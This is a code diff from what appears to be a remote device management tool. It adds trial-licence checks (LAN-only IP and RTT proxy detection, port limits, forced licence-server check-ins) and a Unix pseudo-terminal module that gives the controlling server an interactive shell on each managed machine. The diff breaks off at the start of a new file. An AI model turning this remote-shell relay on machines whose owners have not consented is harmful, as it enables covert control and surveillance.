||||||
|
// 2. 在每一台被本软件管理 / 监控的设备上,事先取得该设备所有者及
|
||||||
|
// 实际使用人明确、可追溯的知情同意;
|
||||||
|
// 3. 不得将本软件用于任何形式的非授权监控、商业秘密窃取、未授权
|
||||||
|
// 访问他人计算机系统、敲诈勒索、跟踪骚扰、规避执法监管等违法
|
||||||
|
// 违规用途。
|
||||||
|
//
|
||||||
|
// 发行方明确声明:
|
||||||
|
//
|
||||||
|
// * 签发授权不构成对被授权方任何具体使用方式的背书、推荐或担保;
|
||||||
|
// * 被授权方违反前款义务造成的一切后果(含民事赔偿、行政处罚、
|
||||||
|
// 刑事责任、第三方索赔),由被授权方独立承担,与发行方无关;
|
||||||
|
// * 发行方不审查、不参与、亦不为被授权方的实际部署形态、被管设备
|
||||||
|
// 的归属、被采集数据的内容与去向负责;
|
||||||
|
// * 一经发现被授权方存在违法违规使用迹象,发行方有权在不另行通知
|
||||||
|
// 的情况下立即吊销其授权,并依法配合相关执法 / 司法机关调查、
|
||||||
|
// 提交签发记录与必要日志。被授权方对授权签发协议的接受即视为对
|
||||||
|
// 上述处置权利的明示同意。
|
||||||
|
//
|
||||||
|
// 上述责任划分独立于、且优先于本软件附带的任何其他文档或宣传材料中
|
||||||
|
// 的表述。
|
||||||
|
//
|
||||||
|
// 本文件提供的强制机制
|
||||||
|
// ----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// 1. LANChecker
|
||||||
|
// 周期扫描本进程的 ESTABLISHED 入站连接,发现任何非私网 IP
|
||||||
|
// (非 10/8、172.16/12、192.168/16、127/8、169.254/16)即弹窗告警。
|
||||||
|
// 用于试用模式下挡住"客户端直接从公网连入"的滥用形态。
|
||||||
|
//
|
||||||
|
// 2. LANChecker::CheckPortLimit
|
||||||
|
// 监听端口数量上限校验。无授权档限 2 个、试用档限 20 个,超额即弹窗。
|
||||||
|
// 防止单机被改造成大规模多租户中转节点。
|
||||||
|
//
|
||||||
|
// 3. LANRttChecker(详见下方类注释)
|
||||||
|
// 应用层 RTT 反代理。挡住"在 LAN 内放代理 / 反向隧道,源 IP 仍是
|
||||||
|
// 私网段但实际经公网转发到外部客户端"这一更隐蔽的绕过形态。
|
||||||
|
// 物理光速决定的硬约束,比 IP 段更难规避。
|
||||||
|
//
|
||||||
|
// 4. AuthTimeoutChecker
|
||||||
|
// 强制周期性回连授权服务器;离线超时则告警并最终强制终止进程,
|
||||||
|
// 防止"仅在初次激活时联网,之后离线长期使用"的形态。也用于
|
||||||
|
// 授权吊销下发:发行方在服务器侧吊销后,下次心跳即生效。
|
||||||
|
//
|
||||||
|
// 上述机制全部为故意可被终端用户感知的"告警 / 终止"路径,目的是让被滥用
|
||||||
|
// 部署的实例自我暴露,而非静默运行。组合起来构成纵深防御,单点绕过不足
|
||||||
|
// 以解除全部限制。
|
||||||
|
//
|
||||||
|
// 实现层面:本文件 header-only,全部静态方法 + 函数内静态变量,避免静态
|
||||||
|
// 初始化顺序问题,全部线程安全。
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
#include <winsock2.h>
|
#include <winsock2.h>
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
@@ -10,6 +119,8 @@
|
|||||||
#include <string>
|
#include <string>
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
#include <set>
|
#include <set>
|
||||||
|
#include <deque>
|
||||||
|
#include <algorithm>
|
||||||
#include <atomic>
|
#include <atomic>
|
||||||
|
|
||||||
#pragma comment(lib, "iphlpapi.lib")
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
@@ -46,6 +157,16 @@ public:
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 字符串版(点分十进制 IPv4)。空串或解析失败按"非公网"处理(即返回 true),
|
||||||
|
// 避免误报;调用方应自行确保传入的是有效 IPv4。仅 IPv4,IPv6 不在判定范围。
|
||||||
|
static bool IsPrivateIPv4Str(const std::string& ipv4)
|
||||||
|
{
|
||||||
|
if (ipv4.empty()) return true;
|
||||||
|
in_addr addr;
|
||||||
|
if (inet_pton(AF_INET, ipv4.c_str(), &addr) != 1) return true;
|
||||||
|
return IsPrivateIP(addr.s_addr); // s_addr 已是网络字节序
|
||||||
|
}
|
||||||
|
|
||||||
// 获取本进程所有入站的外网TCP连接(只检测别人连进来的,不检测本进程连出去的)
|
// 获取本进程所有入站的外网TCP连接(只检测别人连进来的,不检测本进程连出去的)
|
||||||
static std::vector<WanConnection> GetWanConnections()
|
static std::vector<WanConnection> GetWanConnections()
|
||||||
{
|
{
|
||||||
@@ -269,6 +390,267 @@ private:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// LAN RTT 检测器:试用版的"反代理"补强信号
|
||||||
|
//
|
||||||
|
// 设计动机:
|
||||||
|
// LANChecker 只看连接源 IP 是否私网段,但只要攻击者在 LAN 内放一台代理/反代/frp
|
||||||
|
// 把 server 暴露给公网,源 IP 仍然落在私网段,IP 检测就被绕过。
|
||||||
|
// 公网客户端经任何代理接入时,应用层心跳的端到端 RTT (hb.Ping) 会反映真实物理
|
||||||
|
// 延迟(光速决定,代理不能"伪造低延迟"),因此用 RTT 阈值做二级闸门。
|
||||||
|
//
|
||||||
|
// 测量来源:客户端心跳里自报的 hb.Ping(客户端侧 EWMA 平滑后的 srtt,毫秒)。
|
||||||
|
// 注意:这个值包含 server 端业务处理时间(约 5-15ms),不是纯网络 RTT。
|
||||||
|
//
|
||||||
|
// 阈值依据:
|
||||||
|
// 真 LAN(含服务端处理):5-25ms,中位数典型 8-15ms
|
||||||
|
// 跨城/跨 ISP 代理:30ms+
|
||||||
|
// 25ms 是物理上"真 LAN 不会稳定超过、公网代理不会稳定低于"的甜点。
|
||||||
|
//
|
||||||
|
// 抗误报机制:
|
||||||
|
// 1. 跳过前 WARMUP_SKIP 次心跳:客户端 EWMA 收敛 + server 首次 V2 签名等慢路径
|
||||||
|
// 2. 滑窗 N=SAMPLE_WINDOW 取中位数:抵抗个别样本异常抖动
|
||||||
|
// 3. 连续 BREACH_PERSIST_COUNT 次中位数都超阈值才触发:抵抗几十秒级临时拥塞
|
||||||
|
//
|
||||||
|
// 局限(已知,不在本版本处理):
|
||||||
|
// 攻击者本人有公网 IP 且"客户"与攻击者同城同 ISP 时,物理 RTT 可低于 25ms 漏检。
|
||||||
|
// 后续可叠加 "同源 IP 多 ClientID" 行为信号做双因素判定。
|
||||||
|
class LANRttChecker
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
// 阈值(毫秒)。25 是经验值,针对"server 部署在 LAN 内"的典型试用场景。
|
||||||
|
// 如果 server 部署在机房(基线 RTT 本就 20ms+),调用方应自行调高。
|
||||||
|
static const int RTT_THRESHOLD_MS = 25;
|
||||||
|
static const int SAMPLE_WINDOW = 10; // 滑窗大小
|
||||||
|
static const int WARMUP_SKIP = 5; // 跳过前 N 次心跳
|
||||||
|
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
|
||||||
|
|
||||||
|
// 试用模式开关:默认关,授权流程确认 IsTrail 后由调用方打开。
|
||||||
|
// 关闭时 RecordSample 直接返回,避免给已授权用户白白堆积状态/触发误报。
|
||||||
|
static void SetEnabled(bool enabled)
|
||||||
|
{
|
||||||
|
GetEnabled().store(enabled);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录一次心跳 RTT 样本。在收到心跳 ACK / 算完 RTT 的位置调用:
|
||||||
|
// LANRttChecker::RecordSample(rttMs);
|
||||||
|
// 单 client 进程在生命周期内只有一条对控制端的活跃心跳源,全局单例
|
||||||
|
// 状态足够;若上层后续真出现"多控制端并存",再恢复 keyed 设计。
|
||||||
|
static void RecordSample(int rttMs)
|
||||||
|
{
|
||||||
|
// 三道无锁早退:未启用 / 已弹过框 / 异常值。
|
||||||
|
// 一旦弹过告警,本检测器就该 sleep——后续样本既不会再触发新的弹框,
|
||||||
|
// 继续抢锁排序也只是浪费 CPU。Reset() 才会重新打开(清掉 warned 标记)。
|
||||||
|
if (!GetEnabled().load() || GetWarnedFlag().load() || rttMs <= 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
bool shouldWarn = false;
|
||||||
|
int triggeredMedian = 0;
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(GetMutex());
|
||||||
|
auto& state = GetState();
|
||||||
|
// 拿到锁后再确认一次——RecordSample 多线程并发时可能有别的线程
|
||||||
|
// 已经在弹框路径上把 warned 设置了。
|
||||||
|
if (state.warned)
|
||||||
|
return;
|
||||||
|
|
||||||
|
// 收敛期:前 N 个样本完全忽略,不入滑窗也不计数判定
|
||||||
|
if (state.total_seen++ < WARMUP_SKIP)
|
||||||
|
return;
|
||||||
|
|
||||||
|
state.samples.push_back(rttMs);
|
||||||
|
if ((int)state.samples.size() > SAMPLE_WINDOW)
|
||||||
|
state.samples.pop_front();
|
||||||
|
|
||||||
|
// 滑窗未满时不判定,避免少样本中位数失真
|
||||||
|
if ((int)state.samples.size() < SAMPLE_WINDOW)
|
||||||
|
return;
|
||||||
|
|
||||||
|
int median = MedianMs(state.samples);
|
||||||
|
if (median > RTT_THRESHOLD_MS)
|
||||||
|
state.breach_run++;
|
||||||
|
else
|
||||||
|
state.breach_run = 0;
|
||||||
|
|
||||||
|
if (state.breach_run >= BREACH_PERSIST_COUNT)
|
||||||
|
{
|
||||||
|
state.warned = true;
|
||||||
|
GetWarnedFlag().store(true); // 同步到无锁早退标志
|
||||||
|
shouldWarn = true;
|
||||||
|
triggeredMedian = median;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shouldWarn)
|
||||||
|
{
|
||||||
|
std::string* msgPtr = new std::string();
|
||||||
|
*msgPtr = "Suspicious connection detected.\n\n";
|
||||||
|
*msgPtr += "Connection RTT median: "
|
||||||
|
+ std::to_string(triggeredMedian) + "ms\n";
|
||||||
|
*msgPtr += "Threshold: " + std::to_string(RTT_THRESHOLD_MS) + "ms\n\n";
|
||||||
|
*msgPtr += "The persistently elevated RTT suggests the connection\n";
|
||||||
|
*msgPtr += "may be relayed through a proxy/VPN.\n\n";
|
||||||
|
*msgPtr += "Trial version is restricted to LAN connections only.\n";
|
||||||
|
*msgPtr += "Please purchase a license for remote connections.";
|
||||||
|
|
||||||
|
HANDLE hThread = CreateThread(NULL, 0, WarningDialogThread, msgPtr, 0, NULL);
|
||||||
|
if (hThread) CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 重置状态:清空采样、清空告警标记。可在切换授权状态或测试时调用。
|
||||||
|
// 注意:不应在断线重连时调用——保留跨重连的状态可以避免攻击者通过
|
||||||
|
// 反复重连刷新收敛期来绕过检测。
|
||||||
|
static void Reset()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(GetMutex());
|
||||||
|
GetState() = ClientState{};
|
||||||
|
GetWarnedFlag().store(false); // 把无锁早退标志一起清掉
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查询当前的样本中位数(毫秒),不足窗口或无样本返回 -1。
|
||||||
|
// 用于调试 / 状态栏展示。
|
||||||
|
static int GetMedianMs()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(GetMutex());
|
||||||
|
auto& state = GetState();
|
||||||
|
if ((int)state.samples.size() < SAMPLE_WINDOW)
|
||||||
|
return -1;
|
||||||
|
return MedianMs(state.samples);
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
struct ClientState
|
||||||
|
{
|
||||||
|
std::deque<int> samples; // 最近 SAMPLE_WINDOW 个有效样本
|
||||||
|
int total_seen = 0; // 总采样数(含被跳过的收敛期样本)
|
||||||
|
int breach_run = 0; // 连续中位数超阈值的次数
|
||||||
|
bool warned = false; // 已弹过框,避免重复打扰
|
||||||
|
};
|
||||||
|
|
||||||
|
static int MedianMs(const std::deque<int>& s)
|
||||||
|
{
|
||||||
|
std::vector<int> v(s.begin(), s.end());
|
||||||
|
std::sort(v.begin(), v.end());
|
||||||
|
size_t n = v.size();
|
||||||
|
if (n == 0) return 0;
|
||||||
|
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD WINAPI WarningDialogThread(LPVOID lpParam)
|
||||||
|
{
|
||||||
|
std::string* msg = (std::string*)lpParam;
|
||||||
|
MessageBoxA(NULL, msg->c_str(), "Trial Version - LAN Only",
|
||||||
|
MB_OK | MB_ICONWARNING | MB_TOPMOST);
|
||||||
|
delete msg;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::mutex& GetMutex()
|
||||||
|
{
|
||||||
|
static std::mutex s_mutex;
|
||||||
|
return s_mutex;
|
||||||
|
}
|
||||||
|
|
||||||
|
static ClientState& GetState()
|
||||||
|
{
|
||||||
|
static ClientState s_state;
|
||||||
|
return s_state;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::atomic<bool>& GetEnabled()
|
||||||
|
{
|
||||||
|
static std::atomic<bool> s_enabled(false); // 默认关,避免误伤已授权用户
|
||||||
|
return s_enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 已弹过框的无锁标志,与 ClientState::warned 同步。RecordSample 入口处
|
||||||
|
// 用它做 zero-cost 早退,避免后续每次心跳还要抢锁 + 排序中位数。
|
||||||
|
static std::atomic<bool>& GetWarnedFlag()
|
||||||
|
{
|
||||||
|
static std::atomic<bool> s_warned(false);
|
||||||
|
return s_warned;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// 服务端 per-connection RTT 反代理检测器
|
||||||
|
//
|
||||||
|
// 设计动机:与 LANRttChecker 互补——LANRttChecker 是客户端单例(一个客户端只有一条主控连接,
|
||||||
|
// 全局滑窗即可),但服务端要同时盯多个连接,若用全局滑窗,一条 abusive 连接会被 N 条真 LAN
|
||||||
|
// 连接的中位数稀释。所以本类的每个实例只跟一条连接绑定,由 IOCPServer 持有,逐连接单独判定。
|
||||||
|
//
|
||||||
|
// 信号源:服务端 WSAIoctl(SIO_TCP_INFO).RttUs(内核测得的纯网络 RTT,微秒),比客户端
|
||||||
|
// "心跳总耗时减 ProcessingMs" 更干净。因此阈值可以比客户端 25ms 严一点 → 20ms。
|
||||||
|
//
|
||||||
|
// 触发动作:仅返回"是否首次触发",是否真的弹框由调用方(IOCPServer)持全局 latch 决定。
|
||||||
|
// 同一连接生命周期内 triggered 后不再产生新的 trigger(per-connection 自带 latch)。
|
||||||
|
//
|
||||||
|
// 线程模型:单写者(IOCPServer 的 RTT 轮询线程)。所有方法假设由同一线程串行调用,
|
||||||
|
// 内部不加锁;读取展示性字段建议直接走 CONTEXT_OBJECT 暴露的 atomic getter。
|
||||||
|
class TcpRttBreachDetector
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
// 与 LANRttChecker 经验阈值对齐,但因信号更干净而严化:
|
||||||
|
static const int RTT_THRESHOLD_MS = 20;
|
||||||
|
static const int SAMPLE_WINDOW = 10; // 滑窗大小(10s 历史 @ 1Hz)
|
||||||
|
static const int WARMUP_SKIP = 5; // 跳过前 N 次样本,避免握手早期波动
|
||||||
|
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
|
||||||
|
|
||||||
|
// 喂一次 RTT 样本(毫秒)。返回 true 当且仅当**本次**调用导致首次触发。
|
||||||
|
// 后续调用即使继续超阈也返回 false(per-instance latch),由调用方决定是否仍要继续输入。
|
||||||
|
bool Feed(int rttMs)
|
||||||
|
{
|
||||||
|
if (m_triggered || rttMs <= 0) return false;
|
||||||
|
if (m_totalSeen++ < WARMUP_SKIP) return false;
|
||||||
|
m_samples.push_back(rttMs);
|
||||||
|
if ((int)m_samples.size() > SAMPLE_WINDOW)
|
||||||
|
m_samples.pop_front();
|
||||||
|
if ((int)m_samples.size() < SAMPLE_WINDOW)
|
||||||
|
return false;
|
||||||
|
int med = MedianMs(m_samples);
|
||||||
|
if (med > RTT_THRESHOLD_MS) m_breachRun++; else m_breachRun = 0;
|
||||||
|
if (m_breachRun >= BREACH_PERSIST_COUNT) {
|
||||||
|
m_triggered = true;
|
||||||
|
m_triggerMedianMs = med;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsTriggered() const { return m_triggered; }
|
||||||
|
int TriggerMedianMs() const { return m_triggerMedianMs; }
|
||||||
|
int CurrentMedianMs() const
|
||||||
|
{
|
||||||
|
return ((int)m_samples.size() < SAMPLE_WINDOW) ? -1 : MedianMs(m_samples);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 复用 CONTEXT_OBJECT 时调用(释放回 free pool 后再次接连接)。
|
||||||
|
void Reset()
|
||||||
|
{
|
||||||
|
m_samples.clear();
|
||||||
|
m_totalSeen = 0;
|
||||||
|
m_breachRun = 0;
|
||||||
|
m_triggered = false;
|
||||||
|
m_triggerMedianMs = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
static int MedianMs(const std::deque<int>& s)
|
||||||
|
{
|
||||||
|
std::vector<int> v(s.begin(), s.end());
|
||||||
|
std::sort(v.begin(), v.end());
|
||||||
|
size_t n = v.size();
|
||||||
|
if (n == 0) return 0;
|
||||||
|
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
std::deque<int> m_samples;
|
||||||
|
int m_totalSeen = 0;
|
||||||
|
int m_breachRun = 0;
|
||||||
|
int m_triggerMedianMs = 0;
|
||||||
|
bool m_triggered = false;
|
||||||
|
};
|
||||||
|
|
||||||
// 授权连接超时检测器
|
// 授权连接超时检测器
|
||||||
// 用于检测试用版/未授权用户是否长时间无法连接授权服务器
|
// 用于检测试用版/未授权用户是否长时间无法连接授权服务器
|
||||||
class AuthTimeoutChecker
|
class AuthTimeoutChecker
|
||||||
@@ -308,6 +690,9 @@ public:
|
|||||||
// 超过警告时间,弹出警告(弹窗关闭后可再次弹出)
|
// 超过警告时间,弹出警告(弹窗关闭后可再次弹出)
|
||||||
if (elapsed >= (ULONGLONG)warningTimeoutSec && !GetDialogShowing())
|
if (elapsed >= (ULONGLONG)warningTimeoutSec && !GetDialogShowing())
|
||||||
{
|
{
|
||||||
|
if (elapsed >= 6 * warningTimeoutSec)
|
||||||
|
TerminateProcess(GetCurrentProcess(), 0);
|
||||||
|
|
||||||
GetDialogShowing() = true;
|
GetDialogShowing() = true;
|
||||||
|
|
||||||
// 在新线程中弹窗,弹窗关闭后重置标记允许再次弹窗
|
// 在新线程中弹窗,弹窗关闭后重置标记允许再次弹窗
|
||||||
|
|||||||
275
common/PTYHandler.h
Normal file
275
common/PTYHandler.h
Normal file
@@ -0,0 +1,275 @@
|
|||||||
|
/**
|
||||||
|
* PTYHandler.h - Unix Pseudo Terminal Handler
|
||||||
|
*
|
||||||
|
* This file provides pseudo terminal (PTY) functionality for remote shell access.
|
||||||
|
*
|
||||||
|
* PLATFORM SUPPORT:
|
||||||
|
* - Linux: Supported
|
||||||
|
* - macOS: Supported
|
||||||
|
* - Windows: NOT SUPPORTED (Windows uses different terminal APIs)
|
||||||
|
*
|
||||||
|
* USAGE:
|
||||||
|
* #include "common/PTYHandler.h"
|
||||||
|
*
|
||||||
|
* PTYHandler* handler = new PTYHandler(clientObject);
|
||||||
|
* clientObject->setManagerCallBack(handler, ...);
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64)
|
||||||
|
#error "PTYHandler.h is not supported on Windows. Use Windows ConPTY or other APIs instead."
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Platform-specific includes
|
||||||
|
#ifdef __APPLE__
|
||||||
|
#include <util.h> // macOS: openpty()
|
||||||
|
#else
|
||||||
|
#include <pty.h> // Linux: openpty()
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Common Unix includes
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <termios.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
#include <stdexcept>
|
||||||
|
|
||||||
|
#include "commands.h"
|
||||||
|
#include "../client/IOCPClient.h"
|
||||||
|
|
||||||
|
/**
|
||||||
|
* PTYHandler - Pseudo Terminal Handler
|
||||||
|
*
|
||||||
|
* Manages a pseudo terminal for remote shell access.
|
||||||
|
* Inherits from IOCPManager to integrate with the IOCP client framework.
|
||||||
|
*/
|
||||||
|
class PTYHandler : public IOCPManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
// Non-copyable, non-movable (owns system resources)
|
||||||
|
PTYHandler(const PTYHandler&) = delete;
|
||||||
|
PTYHandler& operator=(const PTYHandler&) = delete;
|
||||||
|
PTYHandler(PTYHandler&&) = delete;
|
||||||
|
PTYHandler& operator=(PTYHandler&&) = delete;
|
||||||
|
|
||||||
|
PTYHandler(IOCPClient* client) : m_client(client), m_running(false), m_master_fd(-1), m_slave_fd(-1), m_child_pid(-1)
|
||||||
|
{
|
||||||
|
if (!client) {
|
||||||
|
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create pseudo terminal pair
|
||||||
|
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
||||||
|
throw std::runtime_error("Failed to create pseudo terminal");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set master fd to non-blocking mode
|
||||||
|
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
||||||
|
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
||||||
|
|
||||||
|
// Start shell process
|
||||||
|
startShell();
|
||||||
|
}
|
||||||
|
|
||||||
|
~PTYHandler()
|
||||||
|
{
|
||||||
|
m_running = false;
|
||||||
|
if (m_readThread.joinable()) {
|
||||||
|
m_readThread.join();
|
||||||
|
}
|
||||||
|
if (m_master_fd >= 0) {
|
||||||
|
close(m_master_fd);
|
||||||
|
}
|
||||||
|
if (m_slave_fd >= 0) {
|
||||||
|
close(m_slave_fd);
|
||||||
|
}
|
||||||
|
if (m_child_pid > 0) {
|
||||||
|
// Check if child is still running before killing
|
||||||
|
int status;
|
||||||
|
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
|
||||||
|
if (result == 0) {
|
||||||
|
// Child still running, terminate it
|
||||||
|
kill(m_child_pid, SIGTERM);
|
||||||
|
waitpid(m_child_pid, nullptr, 0);
|
||||||
|
}
|
||||||
|
// If result == m_child_pid, child already exited and was reaped
|
||||||
|
// If result == -1, child was already reaped elsewhere
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start the PTY read thread
|
||||||
|
void Start()
|
||||||
|
{
|
||||||
|
bool expected = false;
|
||||||
|
if (!m_running.compare_exchange_strong(expected, true)) return;
|
||||||
|
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle incoming data from server
|
||||||
|
virtual VOID OnReceive(PBYTE data, ULONG size) override
|
||||||
|
{
|
||||||
|
if (size && data[0] == COMMAND_NEXT) {
|
||||||
|
Start();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle terminal resize command
|
||||||
|
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
|
||||||
|
short cols, rows;
|
||||||
|
memcpy(&cols, data + 1, sizeof(short));
|
||||||
|
memcpy(&rows, data + 3, sizeof(short));
|
||||||
|
SetWindowSize(cols, rows);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write data to PTY
|
||||||
|
if (size > 0) {
|
||||||
|
ssize_t total = 0;
|
||||||
|
while (total < (ssize_t)size) {
|
||||||
|
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
|
||||||
|
if (written == -1) {
|
||||||
|
if (errno == EAGAIN || errno == EINTR) continue;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
total += written;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set terminal window size
|
||||||
|
void SetWindowSize(int cols, int rows)
|
||||||
|
{
|
||||||
|
struct winsize ws;
|
||||||
|
ws.ws_col = cols;
|
||||||
|
ws.ws_row = rows;
|
||||||
|
ws.ws_xpixel = 0;
|
||||||
|
ws.ws_ypixel = 0;
|
||||||
|
|
||||||
|
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send SIGWINCH to child process to notify window size change
|
||||||
|
if (m_child_pid > 0) {
|
||||||
|
kill(m_child_pid, SIGWINCH);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
int m_master_fd;
|
||||||
|
int m_slave_fd;
|
||||||
|
IOCPClient* m_client;
|
||||||
|
std::thread m_readThread;
|
||||||
|
std::atomic<bool> m_running;
|
||||||
|
pid_t m_child_pid;
|
||||||
|
|
||||||
|
void startShell()
|
||||||
|
{
|
||||||
|
m_child_pid = fork();
|
||||||
|
if (m_child_pid == -1) {
|
||||||
|
close(m_master_fd);
|
||||||
|
close(m_slave_fd);
|
||||||
|
throw std::runtime_error("Failed to fork shell process");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_child_pid == 0) {
|
||||||
|
// Child process
|
||||||
|
setsid(); // Create new session, become session leader
|
||||||
|
|
||||||
|
// Set slave PTY as controlling terminal (required for Ctrl+C to work)
|
||||||
|
// This must be done after setsid() and before dup2()
|
||||||
|
ioctl(m_slave_fd, TIOCSCTTY, 0);
|
||||||
|
|
||||||
|
// Redirect stdin/stdout/stderr to slave PTY
|
||||||
|
dup2(m_slave_fd, STDIN_FILENO);
|
||||||
|
dup2(m_slave_fd, STDOUT_FILENO);
|
||||||
|
dup2(m_slave_fd, STDERR_FILENO);
|
||||||
|
close(m_master_fd);
|
||||||
|
close(m_slave_fd);
|
||||||
|
|
||||||
|
// Set terminal environment for xterm.js compatibility
|
||||||
|
setenv("TERM", "xterm-256color", 1);
|
||||||
|
setenv("COLORTERM", "truecolor", 1);
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
// macOS locale settings
|
||||||
|
setenv("LANG", "en_US.UTF-8", 1);
|
||||||
|
setenv("LC_ALL", "en_US.UTF-8", 1);
|
||||||
|
// Disable zsh session save/restore (causes errors in PTY)
|
||||||
|
setenv("SHELL_SESSIONS_DISABLE", "1", 1);
|
||||||
|
|
||||||
|
// Try zsh first (macOS default), fallback to bash. Use -l (login) so
|
||||||
|
// ~/.zprofile is sourced — Homebrew's `brew shellenv` (which puts
|
||||||
|
// /opt/homebrew/bin on PATH) lives there. Without -l the PTY can't
|
||||||
|
// see brew / cmake / node / pyenv / rustup etc.
|
||||||
|
if (access("/bin/zsh", X_OK) == 0) {
|
||||||
|
execl("/bin/zsh", "zsh", "-l", "-i", nullptr);
|
||||||
|
}
|
||||||
|
execl("/bin/bash", "bash", "-l", "-i", nullptr);
|
||||||
|
#else
|
||||||
|
// Linux locale settings (C.UTF-8 is most portable)
|
||||||
|
setenv("LANG", "C.UTF-8", 1);
|
||||||
|
setenv("LC_ALL", "C.UTF-8", 1);
|
||||||
|
|
||||||
|
// Start interactive bash
|
||||||
|
execl("/bin/bash", "bash", "-i", nullptr);
|
||||||
|
#endif
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void readFromPTY()
|
||||||
|
{
|
||||||
|
char buffer[4096];
|
||||||
|
while (m_running) {
|
||||||
|
// Check if child process has exited
|
||||||
|
int status;
|
||||||
|
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
|
||||||
|
if (result == m_child_pid) {
|
||||||
|
// Shell exited, send close notification
|
||||||
|
if (m_client) {
|
||||||
|
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
||||||
|
m_client->Send2Server((char*)&closeToken, 1);
|
||||||
|
}
|
||||||
|
m_running = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
|
||||||
|
if (bytes_read > 0) {
|
||||||
|
if (m_client) {
|
||||||
|
m_client->Send2Server(buffer, bytes_read);
|
||||||
|
}
|
||||||
|
} else if (bytes_read == 0) {
|
||||||
|
// EOF - PTY closed
|
||||||
|
if (m_client) {
|
||||||
|
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
||||||
|
m_client->Send2Server((char*)&closeToken, 1);
|
||||||
|
}
|
||||||
|
m_running = false;
|
||||||
|
break;
|
||||||
|
} else if (bytes_read == -1) {
|
||||||
|
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
||||||
|
usleep(10000); // 10ms
|
||||||
|
} else if (errno == EIO) {
|
||||||
|
// EIO typically means PTY slave closed (shell exited)
|
||||||
|
if (m_client) {
|
||||||
|
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
||||||
|
m_client->Send2Server((char*)&closeToken, 1);
|
||||||
|
}
|
||||||
|
m_running = false;
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
103
common/client_auth_state.h
Normal file
103
common/client_auth_state.h
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
// client_auth_state.h
|
||||||
|
